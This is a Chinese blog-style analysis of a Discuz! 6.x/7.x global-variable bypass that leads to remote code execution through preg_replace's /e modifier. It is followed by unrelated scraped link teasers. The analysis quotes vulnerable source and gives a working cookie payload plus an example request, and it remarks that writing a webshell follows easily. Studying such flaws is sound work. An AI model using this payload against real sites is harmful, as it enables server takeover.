一、漏洞原理:
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
include/global.func.php代码里:
01 |
function daddslashes( $string , $force = 0) { |
02 |
!defined( 'MAGIC_QUOTES_GPC' ) && define( 'MAGIC_QUOTES_GPC' , get_magic_quotes_gpc()); |
03 |
if (!MAGIC_QUOTES_GPC || $force ) { |
04 |
if ( is_array ( $string )) { |
05 |
foreach ( $string as $key => $val ) { |
06 |
$string [ $key ] = daddslashes( $val , $force ); |
09 |
$string = addslashes ( $string ); |
include/common.inc.php里:
1 |
foreach ( array ( '_COOKIE' , '_POST' , '_GET' ) as $_request ) { |
2 |
foreach ($ $_request as $_key => $_value ) { |
3 |
$_key {0} != '_' && $ $_key = daddslashes( $_value ); //变量引入000111222 |
模
拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使
用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地
方很少,存在漏洞的地方更加少:(
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
1 |
if (isset( $_REQUEST [ 'GLOBALS' ]) OR isset( $_FILES [ 'GLOBALS' ])) { |
2 |
exit ( 'Request tainting attempted.' ); |
这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列
中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我
们就可以通过COOKIE来提交GLOBALS变量了:)
二、漏洞位置一
[HIDE]
三、漏洞位置二
include/discuzcode.func.php
01 |
function discuzcode( $message , $smileyoff , $bbcodeoff , $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0' , $authorid = '0' , $allowmediacode = '0' , $pid = 0) { |
02 |
global $discuzcodes , $credits , $tid , $discuz_uid , $highlight , $maxsmilies , $db , $tablepre , $hideattach , $allowattachurl ; |
03 |
if ( $parsetype != 1 && ! $bbcodeoff && $allowbbcode && ( strpos ( $message , '[ /code]' ) || strpos ( $message , '[ /CODE]' )) !== FALSE) { |
04 |
$message = preg_replace( "/\s?\[code\](.+?)\[\/code\]\s?/ies" , "codedisp('\\1')" , $message ); |
06 |
$msglower = strtolower ( $message ); |
07 |
//$htmlon = $htmlon && $allowhtml ? 1 : 0; |
09 |
$message = $jammer ? preg_replace( "/\r\n|\n|\r/e" , "jammer()" , dhtmlspecialchars( $message )) : dhtmlspecialchars( $message ); |
11 |
if (! $smileyoff && $allowsmilies && ! empty ( $GLOBALS [ '_DCACHE' ][ 'smilies' ]) && is_array ( $GLOBALS [ '_DCACHE' ][ 'smilies' ])) { |
12 |
if (! $discuzcodes [ 'smiliesreplaced' ]) { |
13 |
foreach ( $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ] AS $key => $smiley ) { |
14 |
$GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ][ $key ] = '<img src="data:images/smilies/' . $GLOBALS [ '_DCACHE' ][ 'smileytypes' ][ $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'typearray' ][ $key ]][ 'directory' ]. '/' . $smiley . '" smilieid="' . $key . '" border="0" alt="" />' ; |
16 |
$discuzcodes [ 'smiliesreplaced' ] = 1; |
18 |
$message = preg_replace( $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'searcharray' ], $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ], $message , $maxsmilies ); |
119行 :
1 |
$message = preg_replace( $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'searcharray' ], $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ], $message , $maxsmilies ); //让 preg_replace 加上/e 修正符,产生代码执行 |
四、POC
访问一个存在的帖子,需要访问的页面有表情。
例如:http://192.168.0.222/bbs/viewthread.php?tid=12&extra=page%3D1
然后刷新帖子,拦截数据包,cookie中添加
1 |
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); |
如有漏洞,即可看到效果.
写个shell 自然也不是问题了~
- phpcms前台任意代码执行漏洞(php<5.3)
phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞 /phpsso_server/phpcms/libs/functions/global.fu ...
- seacms_6.4.5 前台任意代码执行漏洞分析
环境搭建 1.下载安装包 下载地址: 链接:https://pan.baidu.com/s/1uw_VnxnvG4GGEae4TRsGGw 密码:cd48 2.常规安装 漏洞复现 poc1: http ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- 漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)
近日,Apache官方发布Apache Struts 2.3.5–2.3.31版本及2.5–2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)的紧急 ...
- 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞
Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- 修复Apache Log4j任意代码执行漏洞安全风险通告
2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...
- php 168任意代码执行漏洞之php的Complex (curly) syntax
今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...
- 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析
近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...
随机推荐
- MYSQL学习心得 优化
这一篇主要介绍MYSQL的优化,优化MYSQL数据库是DBA和开发人员的必备技能 MYSQL优化一方面是找出系统瓶颈,提高MYSQL数据库整体性能:另一方面需要合理的结构设计和参数调整,以提高 用户操 ...
- 链接加载文件gcc __attribute__ section
在阅读源代码的过程中,发现一个头文件有引用: /** The address of the first device table entry. */ extern device_t devices[] ...
- 智联招聘的python岗位数据词云制作
# 根据传入的背景图片路径和词频字典.字体文件,生成指定名称的词云图片 def generate_word_cloud(img_bg_path, top_words_with_freq, font_p ...
- (转)Oracle中判断某字段不为空及为空的SQL语句
比如 insert into table a (a1,b1)values("a1",''); 对于这种情况,因为表里存的是'',其实是没有内容的,要查询这个字段,不能直接使用 se ...
- EF选择Mysql数据源
EF添加ADO.NET实体模型处直接选择Mysql数据源 最近想到EF是连接多数据库的orm框架,于是就想测试下.查了一堆网上资料后,测试连接mysql成功.步骤如下: 1.在你项目Model层中nu ...
- 可参考的js代码
function addcompanyFinalBalance(){ var currentDate = new Date(); var currentYear = date.getFullYear( ...
- golang之http
go获取html页面 package main import ( "fmt" "io/ioutil" "net/http" "ne ...
- CentOS7 中把默认yum源更换成163源
163源是目前国内最好用的源,速度是相当快的,现在我们把CentOS7中的源改为163源 1.进入yum源配置文件 cd /etc/yum.repos.d 2.备份一下当前的源,以防出错后可以还原回来 ...
- AC日记——绿豆蛙的归宿 codevs 2488
绿豆蛙的归宿 思路: topsort+期望dp: 代码: #include <cstdio> #include <cstring> #include <iostream& ...
- sublime text3下使用TAG快捷键ctrl+alt+f失效的解决方法
系统环境:WIN7 版本: sublime text3 问题:为了方便格式化html,下的TAG插件.在package control中在线安装能够安装成功,功能正常使用,就是ctrl+alt+f(A ...